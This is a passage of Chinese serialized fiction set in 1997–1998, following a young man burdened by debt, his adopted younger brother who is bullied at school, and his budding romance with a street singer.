“哥,这是啥歌?”应不尘说,“好听。”
“今年的歌,”周瞳说,“那些大城市的人都听这个。”
“好听。”应不尘挨着周瞳。“哥,她说的是真的吧?每天都能放吗?”
“那玩意儿,”周瞳说,“就听一回,完了呢等哥出息了,咱再听一回,才有滋味。”
那之后,周瞳为抢了厂的事情抑郁了一阵,又笑着跟应不尘说,“也是好事,他妈的以后来一个要债的我他妈骂一个。”
“装孙子真是给我装的去他妈了个逼的。”周瞳恨恨地说,“以后他们谁来也别搭理他们,知道了不?”
应不尘憋着的那口气又舒服了,他看着周瞳,像看一个打不倒的英雄。
“哥,”应不尘说,“你还是骂人的时候比较帅。”
“还帅个球,”周瞳说,“今儿我去吃快餐,还问我在哪个工地干活呢。”
周瞳起来打开应不尘带回来的快餐,都是素的,也没啥好挑的,都一个逼味。
“你猜我今天碰着谁了?”周瞳问。
“你那么多朋友,我咋知道。”应不尘说。
“一个败家子,”周瞳说,“之前,挺久了,就是我有一段时间不是去要债了吗?要进去派出所了,就那段时间,那小子,赌得可凶了。”
“跟你有什么关系?”应不尘问,他可不想周瞳跟这种人扯上关系。
“巧了这不是,”周瞳说,“他最近赢了钱,拿货抵款子,现在也干这音像呢,一大堆的碟片还有那种叫啥,VCD对对对。”
“完了我说我给他跑腿,我之前的路子都搭好了,不是没卖成么,”周瞳说,“正好接着整这个。”
“你注意自己身体,别喝太多酒,注意安全。”应不尘听到这里舒了一口气。
***
今天周瞳没呼他,也没回家,这儿的娱乐产业基本都在一条街。
应不尘走了好几圈,也没见周瞳,就蹲在花坛上看。
那条街上的卡拉ok的服务员有些知道这个弟弟的,之前都是招呼他进去,现在也当没看见了。
酒醉的周瞳出来了,其他人在花坛边尿尿。
“那小子你从哪儿找得?跟条狗似的,甩都甩不掉。”
“还不是你身上沾着屎,不然狗能往你身上扑?”
“你瞧着他还有戏不?”
“啥意思啊?翻身啊?”
两人尿完了,一哆嗦。
“费劲,这小子从前我老叔家那个姑娘还缠着跟我打听呢,说长得好看,又会哄人,打了次牌就上听了,这段你猜咋滴?上次瞧见了,瞎了个眼睛,没戏。”
“欠一屁股的饥荒,脸也坏了,还有啥?”
他俩嬉笑着,取笑着。
应不尘想冲上去打他们,被周瞳一把子给拽了回来。
“嘘,”周瞳说,“你理他们干啥,老爷们要沉得住气,管别人咋说呢,能挣钱就行呗。”
应不尘觉得委屈,抹了一把眼泪,抿紧了嘴,不肯说话。
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“害,”周瞳拉着应不尘的手说,“给哥背课文,天将降大任于斯人也...”
“必先苦其心志,劳其筋骨饿其体肤,空乏其身...”应不尘已经是大孩子了,嗓子里糊了苦滋滋的味道,他想哭,但是还是背了。
“你看,”周瞳说,“古人都这么说,是不是?”
“嗯。”应不尘说。
二人一路走着,要回家。
周瞳有点儿酒气,他一这样就话多。
周瞳的脸红红的。
“哥,你心里苦吗?”应不尘问。
“亲一口哥,”周瞳指着自己的脸。
应不尘是大孩子了,没有大孩子会喜欢亲亲这种事情。
“哟,大了哈,是不一样了,”周瞳笑着摸他的脑袋,“那哥亲你一口,我的小宝贝儿,这多一眨眼了,都这么大了,要给哥做主撑腰了。”
“时间真是快啊,”周瞳说,“捡回来的时候,不大点呢。”
“你为什么要捡我,”应不尘说话瓮声瓮气,“不捡我,什么事都没有。”
“我倒是也不想捡啊,”周瞳说,“那会儿,我跟你说,那些小孩都被敲断了脚去要饭,”周瞳说,“我想着我要是不捡你下回看见你断手断脚的在天桥下头要饭,我想想都要吓死了。”
“净唬小孩,”应不尘抓着周瞳的胳膊,这会儿他都到周瞳的胸口了,“哥最心软。”
“哎呀,怎么觉得家里孩子长大了呢,”周瞳做戏一样擦眼泪,说,“一晚上又问我苦不苦,又念我好,这给整得,哥都感动了。”
应不尘被开了玩笑,打了一下周瞳的胳膊,说,“饿死了,家里我还焖了油豆腐炖肉,再不回去,肉都要化了。”
“哥跟你比比,谁跑得快。”周瞳作势要跑。
应不尘一溜烟就冲了出去。
应不尘回头的时候,周瞳正在路灯下点烟,穿着件棕色的皮夹克,他头发留长了,看起来像香港的明星,会有很多女朋友的那种。
应不尘看了看自己,好矮,好丑,好瘦。什么时候,才能跟哥一样大呢,哥定的牛奶,应不尘一口都舍不得浪费的,怎么长得这么慢呢?
周瞳的手插在兜里,在路灯下慢慢的朝应不尘走来。
应不尘已经小学毕业了。
小学写同学录的时候,有好几个女生让应不尘写,应不尘也不知道写什么,女生们扭扭捏捏的说,写勿忘我。
应不尘听同桌说,班级里已经有人在谈恋爱了,他们约定要去同一个初中。
应不尘也有女生表白,但是他什么都不想。
他就想快点长大,快点挣钱,快点儿让哥别那么累了。
“跟你说个事儿啊。”周瞳说。
“什么。”应不尘问。
“把你户口不是签你奶那儿去了,”周瞳说,“你奶奶给你初中报着了,没要赞助费。你奶奶那儿,人家没户口的花钱都想让她帮帮忙,你小子就是命好,奶奶不要钱,就要你。”
“户口在奶奶那,你就不是我哥了。”应不尘说,“咱两就不是亲戚,我不叫你哥。”
“净能放你妈的屁呢,”周瞳说,“我不是你哥,你当我哥呗,草。”
周瞳今天没有打火机,拿火柴点的,嚓答一声,然后猛抽了一口,低着头说,“这日子叫我过成这样,确实,做你哥也是委屈你了。”
应不尘一下就急了,他捏着手,急了半天,说,“我没,我没委屈!”
“逗你呢傻子。”周瞳说,“咱就互相连累,没什么不好的。”
“为啥这么说啊?”应不尘问。
周瞳说,“那会儿你三年级还是几年级来着,人家就跟我说嘛,让我给你弄你那儿户口上去,他们没孩子,你去磕了头,你的日子就好过了,跟我不着边际的,三天饿九顿的,我没愿意。”
“我没愿意,”周瞳说,“我舍不得你走。”
“哥就自己了,”周瞳说,“你再走了,我就真的成了个没人要的了。起码我每次开车,喝酒,想着回家的时候,家里头都有人,都有灯,你是个听话的孩子,总给我洗衣服,弄饭,倒垃圾,从我给你弄回来的开始,我就没怎么太操心过,被子是干净的,衣服是干净的,你知道吗?那些装卸工,没家的,孤家寡人的,从来都没过过我的日子。”
25. 1997[3]
面粉厂的债自然没有那么好还,债主只是少了一点点而已。
抢走了随身听的人还是来,97年的盛夏,家门口总是倒满了垃圾。
应不尘不想让周瞳知道,总是默默地扫了,刷了。
第二天还是一样,红色的油漆,欠债还钱的字样,连这个半地下室,房东都快已经不想租给他们了,说到期了,就搬出去,实在承不住了。
但是事情远没有这么简单。
下岗潮早就开始了,因为县城的滞后性,所以在97才缓缓地爆发,两口子要是在一个单位上班,必然要下岗一个。
每个家庭一个钱掰成两瓣花都是常态,而应不尘在学校也受到了孤立。
有一个老实巴交的工人,周瞳曾经叫他刘叔,他算是这么多年都没有来过分的要过债的人了。
他早就已经下岗了,在外面拉黄包车,他老婆也在这一年下岗。
他老婆总是催着他来找周瞳要钱,刘叔不愿意,刘叔从前也托周瞳办过事的。
那会儿,会好好开挖机的没几个,一般的就是技术粗糙,学这东西,还得有点儿天赋,周瞳算一个,而且那段时间周瞳忙着成立自己的运输公司,也算是后生可畏的那一帮。
刘叔畏畏缩缩的站在门口,等着周瞳出来。
周瞳有见过面就能喊上名的本事,就请刘叔进去。
刘叔就拿着几个饼子,还有一包烟给周瞳。
“啥事儿啊刘叔,”周瞳说,“弄这么客气干啥?”
刘叔纠结了一下,说,“就是,我老家,就在县城边上,我老娘一个人住,她那个邻居,砌那个围墙,把我老娘的地也圈进去了,村干部说,叫他砸了,他不砸,说,叫我有本事,就自己来砸。”
“这点事儿?”周瞳问。
刘叔点点头,说,“我没机器,人家那个车也不好撞墙的,他说,只能砸我那边,砸了他的,跟我没完。”
“能的他,”周瞳皱起眉来,拧烟灰进缸子,说,“咱奶奶那头人家不找事儿吧?”
“不找,”刘叔说,“就是得砸墙,砌得太牢靠,我弄半天,弄不下来俩砖。”
周瞳起身,说,“下午有功夫,你带我瞧瞧去呗。”
大车载着挖掘机,就开进了村子。
周瞳撞了一下刘叔,“叔有个姑娘是不?”
刘叔看了一眼周瞳,怕这小子打自己姑娘主意,但是想了一下,连沈老板女儿周瞳都看不上,自己姑娘那胖墩墩的,八成也不行。
刘叔点点头。
周瞳从村外就开始发烟了,开着车窗,任谁也能看见里面坐着刘叔。
“陪我老丈人回来瞧瞧。”周瞳笑着跟他们打招呼,“到时候大家伙儿一起来喝喜酒。”
「女婿」来了,端得一副派头,年轻,火气大,开着挖掘机就给他们墙平了,周瞳顶起墨镜,问刘叔,“爹,干活我能行,我天天都能来,你啥时候把姑娘嫁给我?”
刘叔念着周瞳的好,哪怕那么多人都去要债了,刘叔捏着票子,也不肯去。
他从来都这样窝囊,他的老婆也骂他窝囊。
刘叔想,是老婆没有见过那样的周瞳,她才会大骂,这么多年,一分钱也还不起,就是你说的厉害后生?你记着人家情分,人家能记得你是谁了?就手指缝里恩赏点不值钱的东西,捧着跟圣旨似的。
老婆下岗了,脾气更差了,天天在家骂刘叔。
一会儿说要去开小吃店,一会儿说要出去卖衣裳,反正说来说去,一个黄包车夫都支撑不了老婆想要的。
但是老婆生病了。
治病需要钱,刘叔因为老实,在遣散的时候被分了一万块钱的债。
当时的老板说,要不要也不是你们说了算,这些都是打了折给你们的,连带工资一起,不要的话就一分没有,要的话,可能还有一线生机。
刘叔第一次来到周瞳的家,这个半地下室。
周瞳颓丧着,刘叔说,“后生,你婶子病了。”
周瞳记得他,他是个窝囊的叔,从前给他撑过腰。
周瞳叹了口气,说,“叔,我这里有啥值钱的,你都倒腾去换钱,我要有了,我挨家挨户的上门去送钱,我没有,婶子病了,我也没办法。我这里身上,还有这些,你都拿去。”
周瞳看着刘叔的眼睛,说,“叔,我弟烧的是厂子,不是你家。”
刘叔走了。
再得到他的消息时,刘叔的老婆已经没了。
刘叔也死在了家里,被发现的时候,已经臭了,爬满了蛆。
那笔债压在周瞳身上太重了。
应不尘经常能看见深夜的周瞳穿着一件背心,拿着一个八宝粥的罐头,就坐在那扇窗户下面抽烟,一根接着一根的抽。
只有这个时候的周瞳,才是他真正的样子。
愁苦,贫瘠,不堪重负。
应不尘不知道怎么说,一万元在97年实在太重了。
***
要债这种事情,就是最开始的时候最凶猛,要是挺住了,也能熬过来,起码在97年秋收的时候,已经少了不少,今年汪奶奶家没稻子了,租出去了,周瞳也用不上去割稻子。
奶奶中秋也是在医院过得,她上医院都得应不尘陪着。
“你哥最近咋样?”汪奶奶问。
“跟几个狐朋狗友倒腾那个DVD,”应不尘给她削苹果,“他叫他们生意伙伴。”
“老刘那个事,跟你哥没关系,”汪奶奶说,“这债在你哥头上,你哥还能在宜华还,要是搁一般人早跑了。”
“换个地方重新开始,不比现在容易多了?”汪奶奶说,“要负责任,但是别揽责任,别啥事儿都加自己头上。”
“您跟他说,”应不尘低头看书,“我放的火,我还去劝,我...”
“我刚刚说啥来着?”汪奶奶说,“你做错事,你哥给你擎着天,大不了你好好读书,以后厉害了,你金银财宝你就堆山码海地堆他面前,是不是,你这个事情你别当压力,你当动力。”
“你哥多苦,你以后对他多好,不就成了吗?”汪奶奶说,“简单事情,不要复杂化。”
“复杂事情,你也要简单化。”汪奶奶对应不尘说。
也不管应不尘今年也才上初中。
因为想着要省钱,又迁户口了,直接跳了一级。
应不尘在学校也不好,只是一直没跟周瞳说。
面粉厂的孩子都是跟应不尘半大不大一起玩过的,跑也跑不掉,现在家里天天就是愁着钱,应
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不尘是为了省钱跳级上来的,反正周瞳也不咋管他,能跳级说明咱厉害呗,所以他就正好撞在初中里。
小孩子十四五岁,正是要逞英雄的年纪。
现在应不尘上学都不敢带钱,带了钱就要被搜走,几个孩子给他按在地上,学校也知道,也没啥办法,屡禁不止。
应不尘留的是买菜钱,他也不带钱来学校了,把钱藏在家里,要买菜的时候回家拿钱再买了回来,稍微折返一下。
这就意味着,中午这顿,应不尘是要饿肚子的。
他每天都按部就班的读书,做饭,等周瞳回来,bb机要是亮了,有人呼他,就是周瞳不回来吃饭了。
二人住在不到二十平方的地下室里,周瞳还是给他收拾出来了一张桌子。
周瞳可能是让汪奶奶说了,这两天看着神色好了不少。
应不尘的猛然跳级,成绩跟不上,老挠头。
他比任何人都希望自己拿成绩说话。
周瞳现在在应不尘身边了,自然他读不好书那点儿劲儿他都知道。
叫关灯睡觉了他还偷偷看。
周瞳包里也有几张钞票了,他一有钞票,就开始乱造。
“托人给你弄了个那个洋文补习班,”周瞳在外面估计冻得够呛,一回来就脱了鞋子钻进被子里了,“回头你就去学去。”
“我不去,”应不尘坐在书桌面前,英文都是那些有钱人弄的东西,这得给周瞳增加多少负担?“我读书不行,早点打工才好。”
“闭上你那个放屁的眼,”周瞳搓着手,哆哆嗦嗦地给自己倒茶,“我让你去就去,有他妈你操心的分,显得你了。”
“我不去。”应不尘倔着,觉得就是因为小学成绩好,周瞳就觉得他以后读书有出路了?别人可说了,上了高中更花钱,大学就更别说了,而且这里都没大学,大学得去省城里。
“你给我把裤子脱了,趴那!”周瞳喊道,“老脸都卖完了你他妈跟我说你不念啊?”
应不尘夸擦一下就把裤子脱了,往床边一跪,像一头犟驴。
“我给你惯的是吧?”周瞳说,“我瞅你上了你这个初中你就不对劲,你上课啥都会,做作业啥都会,你考试不会是吧?你老师都找我说了这事儿了,我还没找你茬呢,你给我两比谁主意正是不?”
周瞳一脑瓜子的火气,说,“你今儿你就告诉我,你能不能念!”
“我不念!我念完初中我就去打工!”应不尘跪着,喊的气势却大。
“我真给你脸了。”周瞳从被窝里弹起来,“我今天能不能给你打服,打不服我跟你姓!”
最终周瞳也没下去手,应不尘直勾勾光着腿跪在地上,瘪着嘴,说,“我不想你再为我辛苦了。”
“不想我辛苦,”周瞳丧了力气,说,“把你废了,咱两一起打工,卖力气去,就不辛苦了呗,你这个脑子,别心思别的了,行吗?哥已经,很累了。”
周瞳那夜又没睡着。
应不尘当然也没睡着。
为那件事付出的代价,已经延续了两年了,什么时候,才是头呢?
应不尘看见那个窗户下的周瞳在深夜里擦了一把自己的脸,倔强的,委屈的。
1997年,周瞳还没到二十三岁。
26. 1998[1]
元旦的时候,汪奶奶叫周瞳回家吃饭,汪奶奶已经做不动饭了。
周瞳跟应不尘在包饺子,周瞳说,“那啥,你就住这儿,你也是大孩子了,能照顾得好吧?实在不行,就让奶奶请个护工,钱的话...”周瞳咬咬牙,说,“你到时候找的稍微贵一点,体贴点的,然后价格跟奶奶说低一点,其他的我补上。”
应不尘包饺子的手不能动了,他没想过离开周瞳他要咋活。
“你懂事了,是不?”周瞳问。
应不尘点点头。
“回头你住楼下,”周瞳说,“俩被子,我有功夫我就回来跟你一起睡。”
“真的?”应不尘问。
“骗你干啥,我骗你有糖吃?”周瞳说。
周瞳也不洗碗,就站在边上一边开一边关着冰箱。
应不尘继续洗碗,轻轻地嗯了一声,又问,“你会常回来吧?”
周瞳说,“那地也只能继续住着啊,不然要债的跑这儿咋整?你奶受得了啊?”
应不尘的眼睛又红了。
“干啥啊,”周瞳摸着他的脸,说,“大孩子了啊,哭啥鼻子呢?”
应不尘肩膀还是抖,周瞳说,“没俩月就要过年了,也没给你买点儿新衣服。”
“我不要,”应不尘头发都遮住了眼睛,说,“我长得快,穿不了一年。”
“最近瞅着,瘦了,”周瞳说,“长身体呢,长不到你哥这样的大高个,以后娶老婆都得人家高个挑剩下的。”
“我才不娶老婆。”应不尘的眼泪都要下来了。
“你这小子,”周瞳说,“好好读书,要不了几年的,是不,人一辈子就吃那么点苦,现在吃了,以后就顺当了。”
“哥...”应不尘的手上沾着沫子,把头支进了周瞳的胸口。
“行了,”周瞳摸着他的脑袋,捋着他的头发,“听话,哥在呢。”
98年元旦的时候,也是应不尘在学校最倒霉的时候。
“你还钱啊,”面粉厂的大孩子有自己的小帮派,“你哥不是能耐吗?不是最能耐了吗?”
“对啊,”有跟着他的小喽喽说,“你哥那么了不起,为啥不还钱?”
从前对应不尘的艳羡现在都成了嘲讽他的力气。
哥有出息,弟会读书,光这两样,孩子们回家大人挨骂,小孩儿挨熊。
“我以后还你们钱!”应不尘说。
有人拿拖把捅应不尘的肚子,“咋啦,你哥不来逞英雄啦?”
“我爸可说啦,你哥自己以为他了不起会做人,把别的小朋友家长都搞得不值钱一样,你哥活该!”
“打你,欠钱不还,你跟你哥都活该。”
应不尘遮住了脸,脸要是坏了,奶奶跟哥就看出来了。
黑板报也不要他出了,包干区就成了应不尘的专职的工作。
他们说,“你不还钱,就帮我们打扫卫生,便宜你啦!”
这些都没关系,但是哥不好。
应不尘想,要抓把他抓进去不就行了吗,为啥这债要周瞳背呢?
他真的不怕坐牢,只要周瞳能好好的。
小孩儿的想法自然天真。
应不尘现在住在汪奶奶家,他不锁门,周瞳总是把钥匙不知道扔那里去的。
他就支着门,又怕有大老鼠跑进来,他总是做作业到很晚,奶奶坐在他边上打瞌睡,他一边写,一边等。
远处有一点点灯光,应不尘就要起来,去看是不是周瞳来了。
应不尘把bb机放在桌子前面,怕周瞳呼他他没看见。
应不尘睡着了,在睡觉之前他已经看了,晚上都十一点了。
应不尘睡得迷迷糊糊,就听见细碎的声音,再后来,冷冰冰的手就放在他肚子上了,应不尘一惊,边上的人就咯咯笑。
“哥!”应不尘喊,扑住了他。
“喝了点酒,回去睡觉。睡一半,太冷了,我就骑自行车跑这儿来了。”周瞳说,“快叫我暖暖。”
“哥...”应不尘才不怕他的手冷呢,把他的手垫在屁股下面,又用自己的脚去勾他的脚。
“哥...”应不尘又喊了一声,有点想哭了。
“干啥呢!死动静整得跟烧开水似的,”周瞳说,“你再这样,我不来了。”
“我没,”应不尘闷闷地,说,“我就是,就是,就是好几天没看见你了。”
“奶奶好呀?”周瞳问。
“嗯,要去检查,我都陪着去了。”应不尘说,“我分药,也买菜,烧水做饭了,奶奶还给我钱。”
“你奶的钱不能拿了啊,”周瞳说,“结了点货款,你自己去包里拿点儿。”
“你自己留着花,”应不尘说,“我去买种子,能种菜的。”
“种什么菜,有那功夫多读书,”周瞳说,“成绩咋样?”
“奶奶说我能上高中,”应不尘说,“奶奶说我会出息的。”
“有出息好事儿啊,”周瞳说,“哼哼啥?”
“我没哼哼,”应不尘闷在周瞳怀里,“我就是高兴。”
“你看看,一般小孩儿都不好好读书,你就懂事,知道家里人不容易,读书用功,”周瞳说,“这环境都给我造这样了,你成绩还是好,对不对?”
“这叫啥?”周瞳抱着孩子,“因祸得福是不?”
“你让人家选,选爹妈遭点罪,孩子成绩好,”周瞳说,“当爹妈肯定选这呀。”
“你又不是我爹,”应不尘说,“我就是你捡来的娃,是你心好,你心不好,我都没人要,我死皮赖脸来跟你。”
“福气这东西就得死皮赖脸才好呢,”周瞳说,“好好睡,明天不是还上学呢?”
“我不去,我就跟你看一块儿,我看不够你。”应不尘说。
“半拉瞎子有啥好看的。”周瞳说,“你不去上学我可不来了。”
“你不来我就找你去。”应不尘说,“我可认识路。”
“去那儿干啥呀,”周瞳说,“毛病,不许去,去了我真不理你了。”
那会儿应不尘并不知道,讨债的人除了工人,债务也被外包对半的折给了专门的讨债公司。
讨债公司在97年自顾自地就要算利息,两千收来的八千欠条,利滚利就上了一万块钱。
讨债公司比那些工人可有法子,打人都算最轻的,干啥都捣乱。
周瞳已经记不得账了。
那个半地下室都回不去了,被打砸得不像样,周瞳藏点货都被偷了,去报警也没戏,根本没地方查。
更难受的是黄师傅做的介绍,也就是担保,坑了自己的战友,一把年纪的还出去当保安。
“都来三回了,每回都不进来,”黄师傅自己喝小酒,对着没有人的窗户说,“来干啥啊?”
周瞳蔫吧地进来了。
“有心事啊?”黄师傅问。
“能没有么。”周瞳说。
“喝点儿?”黄师傅自顾自地给周瞳倒上了。
进门就不空手的原则还是在,周瞳扣扣搜搜的掏出了一包酒鬼花生。
花生被倒进小碟子里。
“我以前最烦你这个小子,”黄师傅说,“还有那个小小子,买点菜抠搜死了,你都那有钱了,叫我吃点肉咋了。”
小小的保安亭里还按着一块板子,就当床了,挤得要死。
“那你还对我好。”周瞳闷闷地说。
“我能咋整啊。”黄师傅说,“那会儿,我还在部队里头呢,人家都送礼
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,连司机都当官了,我不信这个,愣是给我安排到这儿来当修车工。”
黄师傅摸着花生米,说,“那会儿我就烦你们这些投机取巧的人!”
“是。”周瞳垂着头说。
“你以为真是你那个弟弟跟我说,你可怜我就上劲儿啊?”黄师傅说,“你汪爷爷,这么大年纪了也没求过人,他拎着酒来找我,叫我正眼瞧瞧你。”
“我说老汪,我也没说我有啥手艺我就摆谱似的,对吧。”黄师傅说,“我啥时候没正眼瞧你了。”
“老汪跟我说,你最穷的时候,他那个手表放在桌子上,你站那儿看,看了半天,看完,就把他表收进抽屉里了,那会儿,说你连饭都吃不上,说你,最穷的时候,你在你汪爷爷家洗澡,他摸了你的衣服,一共就剩下几分钱了,你送的都是供销商店顶好的东西。你是没法子,你才投机取巧,你是有骨气的。”黄师傅的眼睛有点混了,“你这小子,老汪瞧着你飞上天,合计你这么小的年纪上天了你就不成了,要狗眼看人低了,结果你还是跟你奶奶学文化,厂子里那些人找上你,借钱的,办事儿的,高矮胖瘦调停的,你都烟敬着好话说着,我心里想,你小子可不一定得意成啥样了呢。”
“老汪跟我说,你是他见过最好的孩子。”黄师傅说,“老汪走了,我亲眼瞧着了,他没白疼你。”
周瞳心里堵得慌。
他没有黄师傅说的那么好,他也得意,轻蔑,不把人当回事,只是他藏起来了,口水当本钱的事儿就是一本万利的事儿。
周瞳轻轻地撞了一下黄师傅的酒杯,说,“谢谢叔。”
“人生啊,长着呢,”黄师傅说,“别觉得眼前苦就怎么地了,当年你飞上天,不也几个月的功夫?”
“踏踏实实的,我的战友的事儿,你甭操心。”黄师傅说,“钱么纸么,酒么水么,都看淡一点儿。”
周瞳坐在保安亭外抽烟,黄师傅今天多喝了两杯酒,睡着了。
坠入谷底的时候也有好事儿,起码,周瞳又看见了不一样的宜华。
约摸是汪奶奶知道了周瞳的日子远没有他所说的那么轻松,掏空了一点,讨债公司的钱都算的利息,还了跟没还一样,但是总归是好过了一点。
周瞳不敢过去,倒不是怕汪奶奶说他,只是老都老了,怎么还给这半路孩子操心成这样呢?给他养孩子,给他还债,自己还有啥呢?
周瞳觉得自己不配。
因为香港回归,滞后的小县城也在这个时候风靡了一波香港的歌手,香港的演员。香港碟片把那些小年轻给迷死了,周瞳跟着人倒碟片,在天桥底下卖,夹在衣服里,大夏天的也得裹得严严实实的,音像店的人看见他们跟杀了自己亲爹似的。
这会儿天桥底下被砍了一刀要钱的小孩儿也少了,周瞳看见了他们又害怕,看不见他们又担心,不能是死了吧。
周瞳蹲在天桥底下,抽烟,应不尘在家的时候总催着他刮胡子,那个粘人精不见了,周瞳连胡子也懒得刮了。
天冷了,周瞳没法子,人家抱着纸板箱的跑不快,被城管收走了就要不回来,只能装在衣服里。
欧美的碟子也是好卖的,晚上常常有那种私人的放映厅,能过夜,没人追债,就是碟片机里也叫,后面的包房里也叫,闷声地哼哼,隔着薄薄的三合板,听得连那男人脸上滴下了汗都听得清楚。
周瞳这好赖也是这一把年纪了,听了那动静总是烦人得很。捂着脑袋就要睡觉,睡也睡不着,没什么能惦记的人。
周瞳又出来了,看见外头亮着粉色的灯,女人光着大腿在外面打毛衣,周瞳往前走,人家说,50。
周瞳吸了一口凉气,50都够应不尘上一节洋课,也够他大半个月的牛奶钱了,想了想,又走了。
27. 1998[2]
周瞳遇着了一个姑娘,姑娘也是天桥底下的,会唱歌,在卖唱,来往的人会点歌,但是很少。
醉醺醺的人分两种,一种是仗着自己醉了,就不管天王老子了,揪着人就要给他唱歌,一种是借着自己醉了,唱一首都掏空了兜。
小姑娘姓宁,叫什么带着口音,听不懂,西北来的,脸被晒得黢黑,唱香港歌手的歌,但是周瞳觉得没有她唱山歌的时候好听。
阿宁头发不是很长,两个辫子揪得很紧,像尾巴似的,或许叫脏辫,反正就是看不懂。
阿宁穿着皮衣牛仔裤,里面穿着红色的吊带衫,有的地方瘦有的地方胖,周瞳不好意思瞧。眼睛那里时候画的黑的,有时候画的蓝的。
小姑娘知道周瞳折腾盗版影碟跟磁带,跟他说现在的年轻人都喜欢哪些东西,帮周瞳进货的时候挑着点儿。
女孩儿一靠近的时候就很香,脖子没有喉结,像葱白。
他们总是在城管来的时候一起逃跑,音箱很重。
偶尔音箱没有声音了,周瞳也给她修,修完了阿宁就拿着收钱的箱子,让周瞳自己拿。
周瞳哪好意思拿这个。
阿宁说,“我咋谢谢你呢?”
周瞳挠挠头,说,“要不,我去进货的时候,你陪我一起。”
阿宁饶有意味地看了周瞳一眼,像会勾人。
“你挺懂,你挑的都好卖。”周瞳说。
“我觉得你挺厉害的,我听别人说,你是给别人背债了,我有个哥们,在歌舞厅,说你前几年发达的时候在那撒钱。”阿宁说。
“还成,”周瞳被说夸了,有点不好意思,年纪大了,脸皮倒是薄了。
“你咋弄成这样的呀?”阿宁问。
“害,”周瞳说,“我有个倒霉弟弟。”
“你弟弟也不来看你吗?我从来也没见过。”阿宁说。
两个人蹲在天桥上抽烟,面前还有几瓶啤酒,小车在下面开得像穿梭的星光。
“他不知道我在这,”周瞳说,“照顾我奶呢。”
“我听我哥们说,火是你弟弟放的吧?”阿宁转过身,捏着啤酒靠在栏杆上盯着周瞳瞧,说,“不是说捡来的吗?”
“我那会儿年纪小,收养这个事情,我在这里也没户口,”周瞳说,“我外地人,他上学不方便。”
“口音一点儿也听不出来。”阿宁道。
“17岁那年来的吧,偷偷扒车来的。”
“你弟弟的事儿,也不是你的事儿,你扛啥?”阿宁问。
“我弟弟,哎呀,这咋说呢,都知道我养着呢,”周瞳说,“他听话的,七八岁就开始管我了,管我吃,管我穿。”
“那你也不是供他吃,供他穿了么。”阿宁说。
忽有嘈急的雨,将两人都淋湿了,啤酒瓶子倒下去,在台阶上一阶一阶的往下滚,橙黄的小麦汁流了出来。
周瞳跟雨衣一样的披总算是派上了用场,阿宁的脸上有几粒雀斑,笑起来也好看,个头高,背着一把吉他。
“你是海边的是不?”阿宁问,“我们那没有海。”
“海也不咋好看,照片上头都是蓝湛湛的,其实我们去赶海的时候,都是黄的,有渔船来了,我们这些小孩儿就呼啦啦的都赶上去,去捡东西。”周瞳说,“那会儿我家门口的帘子,就是我妈捡的,穿起来,挂着,一有风就叮叮当当的,叫风铃,我们那儿,小姑娘要是喜欢后生了,就给他穿风铃,挂在床上面,睡醒了就能看见。”周瞳说,“没见过?”
“没见过。”阿宁凑过来,说,“你的床上可有风铃?”
周瞳笑了一下,垂着眸子,说,“我床上可没有,我床上只有个脏兮兮的娃娃,回头带你见见。”
“你从前可谈了女朋友?”阿宁问,“我哥们可说了,那会儿姑娘都扑你。”
“害,我那地方带不回去人,家里有个娃,”周瞳摸摸鼻子,笑着说,“要是真带姑娘回去干点啥,他都在边上蹲着看。”
他们说着话,说完就在路上跑,阿宁说,“我给你唱歌吧。”
凌晨的时候,街上的人都已经散完了,阿宁找了个破烂的三轮车,就站在三轮车上,将吉他挂好了,她低头调弦,噔了一声。
“写信告诉我,今天的海是什么颜色。”
“夜夜陪着你的海,心情又如何。”
“灰色是不想说,蓝色是忧郁,”
“而漂泊的你,狂浪的心停在哪里。”
“写信告诉我,今夜你想要梦什么,”
“梦里外的我是否都让你无从选择。”
“我揪着一颗心,整夜都闭不了眼睛。”
“为何你明明动了情,却又不靠近。”①
唱完这一句,阿宁吸了一口周瞳的夹着手里的烟,吐在周瞳的脸上,她甩了周瞳一眼,又轻轻地唱了最后一句。
“为何你明明动了心,却又不靠近?”她的音调婉转,拉长了最后一个音。
周瞳的后背都麻了。
阿宁带着周瞳回了家,一个小小的出租屋,女孩子的味道扑面而来。
床上是明黄色的床单,是棉的材质,软的,香的。
桌子上有梳子,头绳,镜子,化妆品,还有些笔记本跟零食。
边上的女士细烟有薄荷味。
阿宁玩音乐,也爱电影,她写一些娟丽的小字,是抄的歌词,边上画了跟她这个人看起来一点儿也不符合。
外面的天又下起雨来,敲在窗户上。
阿宁打开了一点点窗户,给周瞳倒了杯酒,什么味道周瞳也没喝出来。
从前在歌舞厅,卡拉OK都是些勾兑的,周瞳真的喝不醉。
但是这酒,真的有点儿烧嗓子。
“我老家的酒,”阿宁说,“好喝吗?”
周瞳品不出来酒,但是品得出来阿宁。
风吹开了窗帘,断线的雨就撒了进来。
“容易感冒。”周瞳在阿宁的背后想要关上窗户。
心知肚明的二人还要在事儿前装的正人君子。
阿宁挨着身后的周瞳,在他耳边问,“像不像风铃的声音?”
周瞳抱住了她,在风雪飘摇的时候,在团年夜即将来临的时候。
衣服很快就通通掉在地上,女孩儿的头发,肩膀,嘴唇,都是柔软的,他们拥吻在一起,女孩儿的眼睛盯着周瞳看,她的手指攀爬到周瞳的鼻梁,眼睛,她抱着周瞳急促的喘息。
她把自己窝在周瞳的脖颈里,周瞳细密地吻在她的额头,西北的姑娘柔软的时候也像一只兔子。
像他没见过的高原,山川,篝火。
二人倒退,扑在床上。
“你刚来的时候我就看见你了。”阿宁摸着周瞳的眉毛,狡黠地说。
“我看见你了,没好意思过来。”周瞳说。
“我在这窗户看,你要是出来了,我就拉着音箱过来,”阿宁说,“我这儿看出去,就能看见你。”
“我是冲你来的,我就在你边上唱歌,你可明白?”阿宁喘息着问。
“不明白,”周瞳拥着她,问,“我是个半瞎,天桥底下太暗了
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,你可看清了?”
“现在看清了,”阿宁说,“一只眼睛,会耽误生孩子吗?”
周瞳不想说话,比雨还急促的吻覆盖在她身上,二人贴在一起,流浪的人互相吸引。
“从前的小姑娘,你也这样吗?”阿宁问。
“没,头一回。”周瞳说。
“难怪磕我牙,”阿宁说,“再磕,牙可漏风了,漏风了唱歌就没人买账了。”
“那怎么弄?”周瞳停止了亲吻,看着阿宁。
“不是说你特会哄女孩儿吗?”阿宁摸着他的头发,跨在他身上问,“说的是一个人吗?”
“瞎胡吹,”周瞳说,“那些都是想做生意,哄着人的瞎话,不是这样的。”
“跟她们是做生意,那跟我做什么?”阿宁在他耳边吹气。
